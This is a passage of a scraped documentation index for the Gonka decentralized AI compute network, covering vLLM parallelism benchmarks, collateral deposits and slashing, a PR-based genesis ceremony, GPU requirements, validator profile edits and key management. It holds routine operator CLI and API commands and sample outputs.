\"Qwen/Qwen3-32B-FP8\": {\n \"args\": [\n ]\n} \nThe Qwen/Qwen3-32B-FP8 model with those parameters requires at least 80GB of VRAM for efficient deployment. Therefore, we need to use at least 6x4070S Ti for each instance. We can’t fit two instances in this server and want to use all GPUs, let’s deploy a single instance that uses 8 GPUs (TP * PP = 8). Potential configuration can include:
High pipeline parallelism typically doesn't yield good performance in a single-server deployment. Therefore, in this example, we’ll test only two configurations:
Use a Python script to deploy the model:
Python...\nmodel_name = Qwen/Qwen3-32B-FP8\"\nmodel_config = {\n \"args\": [\n \"--tensor-parallel-size\", \"8\",\n \"--pipeline-parallel-size\", \"1\",\n ]\n}\n\ninference_up(\n base_url=\"http://24.124.32.70:46195\",\n model=model_name,\n config=model_config\n)\n{\"status\": \"OK\"}\nIn MLNode logs, we see that vLLM has been deployed successfully:
...\nINFO 05-15 23:50:01 [api_server.py:1024] Starting vLLM API server on http://0.0.0.0:5000\nINFO 05-15 23:50:01 [launcher.py:26] Available routes are:\nINFO 05-15 23:50:01 [launcher.py:34] Route: /openapi.JSON, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /docs, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /docs/oauth2-redirect, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /redoc, Methods: GET, HEAD\nINFO 05-15 23:50:01 [launcher.py:34] Route: /health, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /load, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /ping, Methods: GET, POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /tokenize, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /detokenize, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/models, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /version, Methods: GET\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/chat/completions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/completions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/embeddings, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /pooling, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /score, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/score, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/audio/transcriptions, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v1/rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /v2/rerank, Methods: POST\nINFO 05-15 23:50:01 [launcher.py:34] Route: /invocations, Methods: POST\nINFO: Started server process [4437]\nINFO: Waiting for application startup.\nINFO: Application startup complete.\nINFO: 127.0.0.1:37542 - \"GET /v1/models HTTP/1.1\" 200 OK\nrequests.get(\n \"http://24.124.32.70:46195/api/v1/state\"\n).JSON()\n{'state': 'INFERENCE'}\nStart the performance test:
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://24.124.32.70:46085 \\\n --model_name Qwen/Qwen3-32B-FP8 \\\n config.yml\nCheck Logs If Errors Occur
The configuration may still not work as expected; if errors occur, check the MLNode logs for troubleshooting.
When the tests are finished, we can see the result:
compressa-perf list --show-metrics --show-parameters\nUse a Python script to deploy the model:
Python...\nmodel_name = \"Qwen/Qwen3-32B-FP8\"\nmodel_config = {\n \"args\": [\n \"--tensor-parallel-size\", \"4\",\n \"--pipeline-parallel-size\", \"2\",\n ]\n}\n\ninference_up(\n base_url=\"http://24.124.32.70:46195\",\n model=model_name,\n config=model_config\n)\n{\"status\": \"OK\"}\nCheck that the log shows successful deployment and /api/v1/state still returns {'state': 'INFERENCE'}
Measure performance a second time using the same command:
compressa-perf \\\n measure-from-yaml \\\n --no-sign \\\n --node_url http://24.124.32.70:46085 \\\n --model_name Qwen/Qwen3-32B-FP8 \\\n config.yml\ncompressa-perf list --show-metrics --show-parameters\nOur experiment shows the following metrics:
Experiment Metrics TP 8, PP 1 TP 4, PP 2 ~1000 token input / ~300 token output TTFT 6.2342 4.7595 ~1000 token input / ~300 token output THROUGHPUT INPUT 497.8204 500.2883 ~1000 token input / ~300 token output THROUGHPUT OUTPUT 143.3828 144.0936 ~1000 token input / ~300 token output LATENCY 20.9172 20.8093 ~23000 token input / ~1000 token output TTFT 57.7112 28.6839 ~23000 token input / ~1000 token output THROUGHPUT INPUT 840.3887 1017.6811 ~23000 token input / ~1000 token output THROUGHPUT OUTPUT 35.7324 43.3700 ~23000 token input / ~1000 token output LATENCY 271.9932 223.6245The TP=4 and PP=2 setup shows consistently better performance, and we should use it.
"}, {"location": "gonka/docs/host/collateral/", "title": "Collateral", "text": ""}, {"location": "gonka/docs/host/collateral/#collateral", "title": "Collateral", "text": "Collateral mechanism allows participants to lock GNK coins in order to activate a portion of their already earned Proof of Compute (PoC) weight.
Voting power is never derived solely from holding coins. GNK coins serve as economic collateral, not as a source of influence. Influence is earned through continuous computational contribution, while locking GNK collateral is required to secure participation in governance and enforce accountability.
"}, {"location": "gonka/docs/host/collateral/#key-concepts", "title": "Key Concepts", "text": "Assume all $NODE_URL is URL of node with enabled chain rpc and chain api.
curl \"$NODE_URL/chain-api/productscience/inference/inference/params\" | jq '.params.collateral_params'\nslash_fraction_invalid - percent of collateral slashed for invalid inferences (max once per epoch).slash_fraction_downtime - percent of collateral slashed for downtime (Confirmation PoC failure / jail).downtime_missed_percentage_threshold - deprecated, not used.base_weight_ratio - percent of weight Host can have without collateral.collateral_per_weight_unit - collateral required per each weight unit.To estimate the minimum collateral required to fully back a specific weight, you need two parameters from the chain: collateral_per_weight_unit (the cost per unit of weight) and base_weight_ratio (the portion of weight granted unconditionally, without collateral).
Only the collateral-eligible portion of weight needs backing:
required_collateral = weight × (1 − base_weight_ratio) × collateral_per_weight_unit
WEIGHT=1000\n\nPARAMS=$(curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\")\n\nCOLLATERAL_PER_UNIT=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.collateral_per_weight_unit\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\n\nBASE_WEIGHT_RATIO=$(echo \"$PARAMS\" | jq -r '.params.collateral_params.base_weight_ratio\n | (.value | tonumber) * pow(10; .exponent | tonumber)')\n\nREQUIRED=$(echo \"$WEIGHT * (1 - $BASE_WEIGHT_RATIO) * $COLLATERAL_PER_UNIT\" | bc -l)\nprintf \"Minimum required collateral: %.0f ngonka\\n\" \"$REQUIRED\"\nFor example, with current mainnet parameters (base_weight_ratio = 0.2, collateral_per_weight_unit = 4.2) and WEIGHT=1000, the minimum required collateral is 1000 × 0.8 × 4.2 = 3360 ngonka.
Why (1 − base_weight_ratio)? Each participant receives weight × base_weight_ratio (default 20%) as base weight unconditionally. Only the remaining weight × (1 − base_weight_ratio) (default 80%) must be backed by collateral. Depositing more than this minimum is safe but does not activate any additional weight beyond your potential weight — the chain takes min(collateral-eligible weight, weight that the deposit can cover). See the Recommended Buffer section below for guidance on overshooting the minimum.
Grace Period
While the current epoch is below grace_period_end_epoch (default 180), required collateral is 0 regardless of weight and the formula above does not apply — all participants receive 100% of their potential weight unconditionally. To check whether the grace period is still active on the network you are operating on, compare the current epoch to grace_period_end_epoch:
curl -s \"$NODE_URL/chain-api/productscience/inference/inference/params\" \\\n | jq '.params.collateral_params.grace_period_end_epoch'\nOn mainnet the grace period has already ended, so collateral is required now.
"}, {"location": "gonka/docs/host/collateral/#recommended-buffer", "title": "Recommended Buffer", "text": "Because PoC weight may fluctuate between epochs (due to normalization and other factors), depositing the exact minimum required amount may lead to temporary under-collateralization. Smaller weights may experience proportionally larger relative fluctuations. It is recommended to deposit up to 2x while collateral levels remain relatively small. This provides operational safety and prevents unintended weight reduction at the epoch boundary. The protocol does not auto-top-up collateral.
"}, {"location": "gonka/docs/host/collateral/#deposit-collateral", "title": "Deposit Collateral", "text": "Depositing collateral is a three-step flow: check what you currently have, deposit additional ngonka, then verify the new balance.
Timing
Collateral must be on-chain before the end of the PoC validation stage of the epoch in which you want it to count. The chain reads your current collateral balance once per epoch when it computes weights for the next epoch — there is no auto-top-up. To be safe, deposit before your node enters its next PoC stage.
"}, {"location": "gonka/docs/host/collateral/#1-check-current-collateral", "title": "1. Check current collateral", "text": "Replace <GONKA_ACCOUNT_ADDRESS> with the address you want to inspect (your own or someone else's).
Via CLI:
./inferenced query collateral show-collateral <GONKA_ACCOUNT_ADDRESS> \\\n --node $NODE_URL/chain-rpc/\nOr via API:
curl \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/<GONKA_ACCOUNT_ADDRESS>\"\nIf no collateral has ever been deposited for this address, the response will be empty or return a not-found error — that is expected.
"}, {"location": "gonka/docs/host/collateral/#2-deposit-collateral", "title": "2. Deposit collateral", "text": "Always use the ngonka denomination. The transaction is signed by the participant's Account Key (cold key):
./inferenced tx collateral deposit-collateral <COLLATERAL_SIZE>ngonka \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet\nTo compute a sensible <COLLATERAL_SIZE> for a given target weight, see Compute collateral per weight above. For the recommended safety margin, see Recommended Buffer.
Deposits are cumulative: running this command multiple times adds to the existing balance. To free locked collateral, use withdraw-collateral (see the Withdraw Collateral section below).
After the transaction is included in a block, re-run the check from step 1 with your own address. The amount field should equal your previous balance plus the deposited amount.
MY_ADDR=$(./inferenced keys show gonka-account-key -a --keyring-backend file)\ncurl -s \"$NODE_URL/chain-api/productscience/inference/collateral/collateral/$MY_ADDR\" | jq\nThe deposit is now on-chain. It will activate the corresponding portion of your weight at the next epoch boundary, when the chain re-computes weights at the end of the PoC validation stage. If you deposited mid-epoch, do not expect your weight to change immediately — wait one epoch.
"}, {"location": "gonka/docs/host/collateral/#withdraw-collateral", "title": "Withdraw Collateral", "text": "When you withdraw collateral, it is moved to an unbonding queue. The unbonding period lasts for a specific number of epochs (default is 1 epoch). During this period, the collateral is still subject to slashing. Slashing during the unbonding period applies proportionally to both active collateral and collateral that is still in the unbonding queue. In other words, withdrawing collateral does not immediately remove it from slash risk. The collateral remains slashable until the unbonding period is complete and the funds are returned to the account balance.
After the unbonding period ends, the collateral is automatically returned to your account balance.
To check the unbonding period (in epochs):
curl -s \"$NODE_URL/chain-api/productscience/inference/collateral/params\" | jq '.params.unbonding_period_epochs'\nTo withdraw collateral:
./inferenced tx collateral withdraw-collateral <COLLATERAL_SIZE>ngonka \\\n --from gonka-account-key \\\n --keyring-backend file \\\n --node $NODE_URL/chain-rpc/ \\\n --chain-id gonka-mainnet\nTo check unbonding collateral:
./inferenced query collateral show-unbonding-collateral <GONKA_ACCOUNT_ADDRESS> \\\n --node $NODE_URL/chain-rpc/\nOr via API:
curl \"$NODE_URL/chain-api/productscience/inference/collateral/unbonding/<GONKA_ACCOUNT_ADDRESS>\"\nCollateral can be slashed for two reasons:
When a slash is triggered, the penalty is applied proportionally to both:
This means that collateral remains slashable during the unbonding period. Withdrawing collateral does not protect it from penalties until the unbonding period has fully completed and the funds have been returned to the participant's account balance.
To check if your collateral was slashed for Invalid Inference:
curl \"$NODE_URL/chain-api/cosmos/tx/v1beta1/txs?query=slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\"\nTo check if your collateral was slashed for Downtime:
curl \"$NODE_URL/chain-rpc/block_search?query=\\\"slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\\\"\"\ncurl \"$NODE_URL/chain-rpc/block_results?height=<BLOCK_HEIGHT>\" | jq '.result.finalize_block_events[] | select(.type == \"slash_collateral\")'\nFor automatic slashing events (e.g. jail) that occur during block processing (BeginBlock), use the block search RPC.
First find the block where slashing occurred:
curl \"$NODE_URL/chain-rpc/block_search?query=\\\"slash_collateral.participant='<GONKA_ACCOUNT_ADDRESS>'\\\"\"\nThen query the block results to see the slash details (replace BLOCK_HEIGHT with the height found above):
curl \"$NODE_URL/chain-rpc/block_results?height=<BLOCK_HEIGHT>\" | jq '.result.finalize_block_events[] | select(.type == \"slash_collateral\")'\nFor common questions, see the Collateral FAQ.
"}, {"location": "gonka/docs/host/genesis/", "title": "Genesis", "text": ""}, {"location": "gonka/docs/host/genesis/#gonka-genesis-ceremony", "title": "Gonka Genesis Ceremony", "text": "The genesis ceremony is a coordinated process to bootstrap the Gonka blockchain with a pre-defined set of initial validators and an agreed-upon genesis.json file. This ceremony is important because it establishes the network's foundational security, ensures fair participation among validators, and creates a verifiable starting point for the blockchain.
The ceremony is a transparent and auditable process managed entirely through GitHub Pull Requests (PRs). The core workflow is straightforward:
GENTX and GENPARTICIPANT) via PRsgenesis.json with a scheduled genesis_time and recorded hash.The ceremony proceeds through clearly defined phases to produce an auditable, shared genesis.json. All collaboration happens via GitHub PRs for full transparency and accountability.
genesis.json hash is recorded, allowing every Host to confirm they are starting from the exact same initial state. Consensus The process guarantees that all initial validators have reviewed and accepted the genesis state before the network goes live."}, {"location": "gonka/docs/host/genesis/#prerequisites", "title": "Prerequisites", "text": "Before participating in the ceremony, each Host (validator) must:
Fork the Gonka Repository to your GitHub account.
Choose a Host (validator) name and create your validator directory:
cp -r genesis/validators/template genesis/validators/<YOUR_VALIDATOR_NAME>\nFollow the local setup portion of the Quickstart Guide.
inferenced CLI, creating your Account Cold Key, and pulling the Docker images. Confirm readiness:
inferenced CLI is installed locally and your Account Cold Key is created.config.env) are configured.The ceremony follows a 5-phase process, replacing the on-chain registration steps from quickstart.md with an offline, PR-based workflow. All transaction files are generated locally and submitted for aggregation by the Coordinator.
genesis.json draft for reviewGENTX and GENPARTICIPANT files from the draft; open PR with filesgenesis.json, set genesis_timegenesis.json, verify hash, and launch nodes before genesis_timeTo simplify the process, the deploy scripts for the Ceremony will be in /deploy/join directory of the Gonka Repository. The deploy scripts are the same as the standard join flow from quickstart.md. During the ceremony, the Coordinator will adjust the following environment variables to enable genesis-specific behavior:
INIT_ONLY — initialize data directories and prepare configs without starting the full stackGENESIS_SEEDS — seed node address list used for initial P2P connectivity at launchIS_GENESIS — toggle genesis-only paths (e.g., hash verification, bootstrap behavior) in compose/scriptsLocation: these variables are set by the Coordinator in deploy/join/docker-compose.yml. Validators should not change them.
Once Phase 5 is finished and the chain has launched, the variables above are removed from the repo by the Coordinator as they're not required further.
Working directory: run all docker compose commands from deploy/join (change directory first), or pass -f deploy/join/docker-compose.yml explicitly when running from the repository root.
This phase mirrors the key generation steps in quickstart.md, but all setup is performed offline to generate files for the ceremony. The Account Key (Cold) was already created during the quickstart; the following steps will guide you through generating the ML Operational Key (Warm) on your server.
The Account Cold Key was created during quickstart.md. You can view its information with:
./inferenced keys list --keyring-backend file\nExample output:
Enter keyring passphrase (attempt 1/3):\n- address: gonka1eq4f5p32ewkekf9rv5f0qjsa0xaepckmgl85kr\n name: \"gonka-account-key\"\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"A4U3G2eY46mwhWx7ZXieT+LetPJhG0jHNuVCQB6wgBZK\"}'\n type: local\ndocker compose run --rm node\nExample output:
51a9df752b60f565fe061a115b6494782447dc1f\nStart the tmkms service to generate the consensus key, then extract the public key.
docker compose up -d tmkms && docker compose run --rm --entrypoint /bin/sh tmkms -c \"tmkms-pubkey\"\nExample output:
/wTVavYr5OCiVssIT3Gc5nsfIH0lP1Rqn/zeQtq4CvQ=\nCreate the warm key inside the api container using the file keyring backend (required for programmatic access). The key will be stored in a persistent volume mapped to /root/.inference of the container:
Note: $KEY_NAME and $KEYRING_PASSWORD are defined in Quickstart config.env.
docker compose run --rm --no-deps -it api /bin/sh\nInside the container, create the ML operational key:
printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\nExample output:
~ # printf '%s\\n%s\\n' \"$KEYRING_PASSWORD\" \"$KEYRING_PASSWORD\" | inferenced keys add \"$KEY_NAME\" --keyring-backend file\n\n- address: gonka1gyz2agg5yx49gy2z4qpsz9826t6s9xev6tkehw\n name: node-702105\n pubkey: '{\"@type\":\"/cosmos.crypto.secp256k1.PubKey\",\"key\":\"Ao8VPh5U5XQBcJ6qxAIwBbhF/3UPZEwzZ9H/qbIA6ipj\"}'\n type: local\n\n\n**Important** write this mnemonic phrase in a safe place.\nIt is the only way to recover your account if you ever forget your password.\n\nagain plastic athlete arrow first measure danger drastic wolf coyote work memory already inmate sorry path tackle custom write result west tray rabbit jeans\nCreate or update genesis/validators/<YOUR_VALIDATOR_NAME>/README.md with the following fields. Use values collected above and from Quickstart.
Account Public Key: <value of ACCOUNT_PUBKEY from your config.env file>\nNode ID: <node-id-from-step-1.2>\nML Operational Address: <ml-operational-key-address-from-step-1.4>\nConsensus Public Key: <consensus-pubkey-from-step-1.3>\nP2P_EXTERNAL_ADDRESS: <value of P2P_EXTERNAL_ADDRESS from your config.env file>\nSubmit a PR to the Gonka Repository with your validator information. Include a clear title such as \"Add validator: \" and ensure all required fields are populated in your README.md file.
The coordinator will:
genesis.json draft, which includes all Account Addresses, and place it in genesis/genesis-draft.jsonGENTX and GENPARTICIPANT Generation", "text": "This phase involves generating the necessary transaction files for chain initialization. These transactions include:
MsgCreateValidator - Creates your validator on the chainMsgSubmitNewParticipant - Registers your node as a network HostThe gentx command requires the following variables from previous steps:
<cold_key_name> Name of Account Cold Key in local registry (e.g., \"gonka-account-key\" from Quickstart) <YOUR_VALIDATOR_NAME> The validator name chosen in the Prerequisites section <ml-operational-key-address-from-step-1.4> Address of ML Operational Key from step 1.4 $PUBLIC_URL Environment variable with public URL from Quickstart's config.env <consensus-pubkey-from-step-1.3> Consensus public key from step 1.3 <node-id-from-step-1.2> Node ID from step 1.2 This custom gentx command automatically creates the required authz grants from your Account Key to your ML Operational Key, simplifying the setup process.
Before generating files, you must copy the draft genesis/genesis-draft.json into the config directory where your Account Cold Key is stored. This allows the gentx command to access your key and validate the transaction against the correct chain configuration.
The default home directory for inferenced is ~/.inference. If you created your key there, use the following command:
cp ./genesis/genesis-draft.json ~/.inference/config/genesis.json\nNote
If you specified a custom home directory with the --home flag when creating your key, be sure to use that same directory for the gentx command by providing the --home flag again.
The 1ngonka value represents an artificial consensus weight for the genesis transaction. The real validator weight will be determined during the first Proof of Compute (PoC) phase.
./inferenced genesis gentx \\\n --keyring-backend file \\\n <cold_key_name> 1ngonka \\\n --moniker <YOUR_VALIDATOR_NAME> \\\n --pubkey <consensus-pubkey-from-step-1.3> \\\n --ml-operational-address <ml-operational-key-address-from-step-1.4> \\\n --url $PUBLIC_URL \\\n --chain-id gonka-mainnet \\\n --node-id <node-id-from-step-1.2>\nExample output:
./inferenced genesis gentx \\\n --home ./702121 \\\n --keyring-backend file \\\n 702121 1ngonka \\\n --pubkey eNrjtkSXzfE18jq3lqvpu/i1iIog9SN+kqR2Wsa6fSM= \\\n --ml-operational-address gonka13xplq68fws3uvs8m7ej2ed5ack9hzpc68fwvex \\\n --url http://36.189.234.237:19238 \\\n --moniker \"mynode-702121\" --chain-id gonka-mainnet \\\n --node-id 149d25924b9a6676448aea716864c31775645459\nEnter keyring passphrase (attempt 1/3):\nClassic genesis transaction written to \"702121/config/gentx/gentx-149d25924b9a6676448aea716864c31775645459.json\"\nGenparticipant transaction written to \"702121/config/genparticipant/genparticipant-149d25924b9a6676448aea716864c31775645459.json\"\nCopy the generated files to your validator directory and create a PR:
cp ~/.inference/config/gentx/gentx-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\ncp ~/.inference/config/genparticipant/genparticipant-<node-id>.json genesis/validators/<YOUR_VALIDATOR_NAME>/\nCreate a PR with the following files:
genesis/validators/<YOUR_VALIDATOR_NAME>/gentx-<node-id-from-step-1.2>.jsongenesis/validators/<YOUR_VALIDATOR_NAME>/genparticipant-<node-id-from-step-1.2>.jsonUse a clear PR title like \"Add gentx files for validator: \".
"}, {"location": "gonka/docs/host/genesis/#phase-4-coordinator-final-genesis-preparation", "title": "Phase 4. [Coordinator]: Final Genesis Preparation", "text": "Once all validators have submitted their transaction files, the Coordinator begins constructing the official genesis.json. This critical step ensures all initial participants are correctly included in the blockchain's state from the very first block.
The process involves two main commands:
collect-gentxs command gathers all gentx-<node-id>.json files, validates them, and incorporates them into genesis.json to populate the initial validator set.patch-genesis command processes the genparticipant-<node-id>.json files, verifying their signatures and patching the initial state to include all registered participants.After merging all transactions, the Coordinator sets the genesis_time to a future timestamp, ensuring all validators have enough time to prepare for a synchronized launch.
Finally, the Coordinator commits the official genesis.json to the genesis/ directory. The hash of this commit is then embedded into the source code to ensure all nodes start from the same verified state.
./inferenced genesis collect-gentxs --gentx-dir gentxs\n./inferenced genesis patch-genesis --genparticipant-dir genparticipants\nThe Coordinator configures the initial network peering by setting the GENESIS_SEEDS variable in deploy/join/docker-compose.yml. This variable is a comma-separated list of validator node addresses, constructed using the Node ID and P2P_EXTERNAL_ADDRESS provided by each validator in their respective README.md files.
Example format: <node-id-1>@<P2P_EXTERNAL_ADDRESS_1>,<node-id-2>@<P2P_EXTERNAL_ADDRESS_2>,...
Additionally, the Coordinator sets INIT_ONLY to false, which allows the nodes to fully start up and connect to the network at launch time instead of just initializing their data directories.
With the final genesis.json published, validators must verify that it is produced correctly and prepare their nodes to launch at the specified genesis_time. The blockchain will begin producing blocks at exactly this moment.
These steps should be performed on your validator server.
Pull Latest Configuration
Pull the latest changes from the repository to get the final genesis.json and seed node configuration.
git pull\nUpdate Container Images
From the deploy/join directory, pull the latest Docker container images. The node image is built with the final genesis hash for verification.
source config.env\ndocker compose -f docker-compose.yml -f docker-compose.mlnode.yml pull\nLaunch Your Validator
Finally, start all services.
docker compose -f docker-compose.yml -f docker-compose.mlnode.yml up -d\nAfter launching, monitor your node's logs to confirm it is waiting for the genesis time:
docker compose logs node -f\nLook for a message similar to this:
INF Genesis time is in the future. Sleeping until then... genTime=2025-08-14T09:13:39Z module=server\nImportant Notes
api container may restart several times before the node container is fully operational[Coordinator]: Post-Launch Cleanup
Remove genesis-specific variables from docker-compose.yml configuration files to transition to normal operation mode.
For additional support, see the Quickstart Guide or join the community Discord.
"}, {"location": "gonka/docs/host/hardware-specifications/", "title": "Hardware specifications", "text": ""}, {"location": "gonka/docs/host/hardware-specifications/#hardware-specifications", "title": "Hardware Specifications", "text": "Criteria: Supports NVIDIA GPUs of generations newer than Tesla, provided that at least 320 GB total GPU VRAM is available to each MLNode container. Any combination of GPUs is allowed, as long as the system can host the LLMs approved by network governance and participate in PoC.
NVIDIA GPU Release Date VRAM Architecture B300 March 2025 288 GB HBM3e Blackwell Ultra B200 2024 192 GB HBM3e Blackwell RTX PRO 6000 March 2025 96 GB GDDR7 ECC Blackwell H200 2024 141 GB HBM3e Hopper H100 May 2022 80 GB HBM3 Hopper A100 80GB November 2020 80 GB HBM2e Ampere"}, {"location": "gonka/docs/host/host_info/", "title": "Edit public host info", "text": ""}, {"location": "gonka/docs/host/host_info/#how-to-edit-host-public-info", "title": "How to edit Host public info", "text": "This guide shows how to update your Host/Validator profile with the human-readable name, website, and avatar/profile identity so that explorers display correct information.
"}, {"location": "gonka/docs/host/host_info/#prerequisites", "title": "Prerequisites", "text": "Here are the only fields you can set or edit.
Field Flag Purpose / What is displayed Moniker--new-moniker The public name of your Host/Validator, shown in explorers. Website --website Link to your Host/Validator’s website or project page. Displayed so delegators can learn more. Identity --identity Typically used to provide a verification/proof identity (e.g., Keybase, which many explorers use to fetch your avatar/logo. You need to download the application from the website to generate a PRP key to fetch your logo."}, {"location": "gonka/docs/host/host_info/#step-by-step-guide", "title": "Step-by-step guide", "text": "Run the following command if you don’t have a PGP key yet.
keybase pgp gen\nkeybase pgp gen generates a new PGP key for this account. In all cases, it signs the public key with an existing device key, and pushes the signature to the server. Thus, the user will have a publicly visible \"PGP device\" after running this operation. The secret half of the PGP key is written by default to the user's local Keybase keychain and encrypted with the \"local key security\" (LKS) protocol. (For more information, try 'keybase help keyring'). Also, by default, the public and secret halves of the new PGP key are exported to the local GnuPG keyring, if one is found. You can specify --no-export to stop the export of the newly generated key to the GnuPG keyring. On subsequent secret key accesses --- say for PGP decryption or for signing --- access to the local GnuPG keyring is not required. Rather, keybase will access the secret PGP key in its own local keychain. By default, the secret half of the PGP key is never exported off of the local system, but users have a choice via terminal prompt to select storage of their encrypted secret PGP key on the Keybase servers.
You will be prompted:
Push an encrypted copy of your new secret key to the Keybase.io server? Enter Y for Yes.When exporting to the GnuPG keychain, encrypt private keys with a passphrase? Enter Y for Yes and N for NoRun the following command if you have an existing PGP key, import it into Keybase.
keybase pgp select\nName your device (it can not be changed in the future).
Click on the avatar in the top left corner. Click “View/edit profile”.
Upload your avatar.
Copy your 64-bit PGP. You will need it for --identity flag in the command below.
Run this command to edit your Host/Validator information. Make sure to replace cold-key-name, YourNewValidatorName, https://updated.website, and PGP-64-ID with your own values.
./inferenced tx staking edit-validator \\\n --chain-id=\"gonka-mainnet\" \\\n --from <cold-key-name> \\\n --new-moniker <YourNewValidatorName> \\\n --website <https://updated.website> \\\n --identity <PGP-64-ID> \\\n --keyring-backend file \\\n --node <NODE_URL>/chain-rpc/ \\\n --yes\nOnce you send the transaction, wait for it to be included in a block and confirmed by the network. Check your Host/Validator info:
./inferenced query staking delegator-validators \\\n <cold-key-address> \\\n --node <NODE_URL>/chain-rpc/\nExample output
...\nvalidators:\n- commission:\n commission_rates:\n max_change_rate: \"0.010000000000000000\"\n max_rate: \"0.200000000000000000\"\n rate: \"0.100000000000000000\"\n update_time: \"2025-08-27T23:56:24.580275479Z\"\n consensus_pubkey:\n type: tendermint/PubKeyEd25519\n value: XMTuK2T6ojmAfcDzv5scXtl9QkgYaqwAnnyo7BdLKS4=\n delegator_shares: \"186.000000000000000000\"\n description:\n details: Created after Proof of Compute\n identity: 673C81B66A67ED67\n moniker: gonkavaloper18lluv53n4h9z34qu20vxcvypgdkhsg6n02fcaq\n website: https://gonka.ai\nWait for the explorer to index the new data (may take several minutes to hours). Then check your explorer — your name, website, and avatar should appear.
"}, {"location": "gonka/docs/host/key-management/", "title": "Key management", "text": ""}, {"location": "gonka/docs/host/key-management/#key-management-architecture", "title": "Key Management Architecture", "text": "This document describes the comprehensive key management architecture for Gonka Network, a decentralized AI infrastructure that requires robust security through role-based key separation.
"}, {"location": "gonka/docs/host/key-management/#overview", "title": "Overview", "text": "Gonka Network implements a role-based key management system that separates automated functions from high-stakes manual approvals. This architecture ensures that no single key controls all network operations, providing enhanced security and operational flexibility.
Quick Setup
For immediate deployment, see the Quickstart Guide. This document focuses on understanding the complete key management architecture and security model.
"}, {"location": "gonka/docs/host/key-management/#key-architecture-at-launch-v0", "title": "Key Architecture at Launch (v0)", "text": "At network launch, Hosts use a three-key system:
Key Type Purpose Storage Algorithm Usage Account Key Master control & permissions Secure local machine SECP256K1 Manual high-stakes operations ML Operational Key Automated AI transactions Encrypted on server SECP256K1 Automated ML workflows Consensus Key Block validation & consensus TMKMS warm storage ED25519 Network consensus participation"}, {"location": "gonka/docs/host/key-management/#security-model", "title": "Security Model", "text": ""}, {"location": "gonka/docs/host/key-management/#account-key-cold-wallet-critical", "title": "Account Key (Cold Wallet) - CRITICAL", "text": "Account Key Protection
file or os keyring backend for secure local storageHardware Wallet Support
ML Operational Key Management
file keyring backend for server-based storage with programmatic accessOperational Security
Company Participant:\n├── Account Key → Secure Storage + Multi-sig\n├── ML Operational Key → Automated AI workloads\n├── Governance Group → Multi-sig for protocol votes\n│ ├── CEO/Founder\n│ ├── CTO/Tech Lead \n│ └── Head of Operations\n└── Treasury Group (Optional) → Separate multi-sig for high-value transfers\n ├── CEO/Founder\n ├── CFO/Finance Lead\n └── Board Member\nProduction Deployment
Before deploying to production, ensure you understand the complete key management workflow and have tested key recovery procedures in a safe environment.
Need help? Find answers on FAQ page, or join Discord server for assistance with general inquiries, technical issues, or security concerns.
"}, {"location": "gonka/docs/host/kimi-bootstrap/", "title": "Kimi K2.6 bootstrap", "text": ""}, {"location": "gonka/docs/host/kimi-bootstrap/#kimi-k26-bootstrap", "title": "Kimi K2.6 Bootstrap", "text": "moonshotai/Kimi-K2.6 has passed bootstrap and is active in Proof of Compute on Gonka mainnet. The timeline and transaction examples below remain useful for understanding how activation worked and for operations such as delegation; for current deployment defaults (including node-config.json), see the Host Quickstart.
Epoch 251 was when the model group moonshotai/Kimi-K2.6 became eligible.
This document explains how to minimize the chance of weight reductions, whether or not the model gets enough participants.
Note
The bootstrap can take multiple epochs, depending on how many participants are ready. Before activation, no weight reduction happens if participants submit their choice explicitly and hosts who are going to deploy submit PoCIntent.
3873996, all participants must submit:", "text": "- `PoCIntent` - if they are going to deploy `Kimi-K2.6`. Hosts should keep nodes deployed with `Qwen235B` and switch only after evaluation at block `3873996`\n- `PoCDelegation` / `PoCRefusal` - if they are NOT going to deploy `Kimi-K2.6`\n3873996, the chain runs pre-evaluation to check whether it should try to activate the model based on PoCIntent / PoCDelegation", "text": "- If the model becomes pre-eligible => hosts who submitted `PoCIntent` should switch their model nodes to `Kimi-K2.6` (there are no CPoC in this 500-block window)\n- If the model does not become pre-eligible => hosts who submitted `PoCIntent` should keep their nodes on `Qwen235B`\n3874496, PoC starts", "text": ""}, {"location": "gonka/docs/host/kimi-bootstrap/#possible-scenarios", "title": "Possible Scenarios", "text": "The bootstrap of a new model can follow these main scenarios:
The model does not pass the pre-evaluation at block 3873996 and does not become eligible
Everyone who submitted PoCIntent keeps their full weight (no punishment)
PoCDelegation / PoCRefusal keeps their full weight (no punishment)=> it is important to explicitly send a transaction with your intended behavior
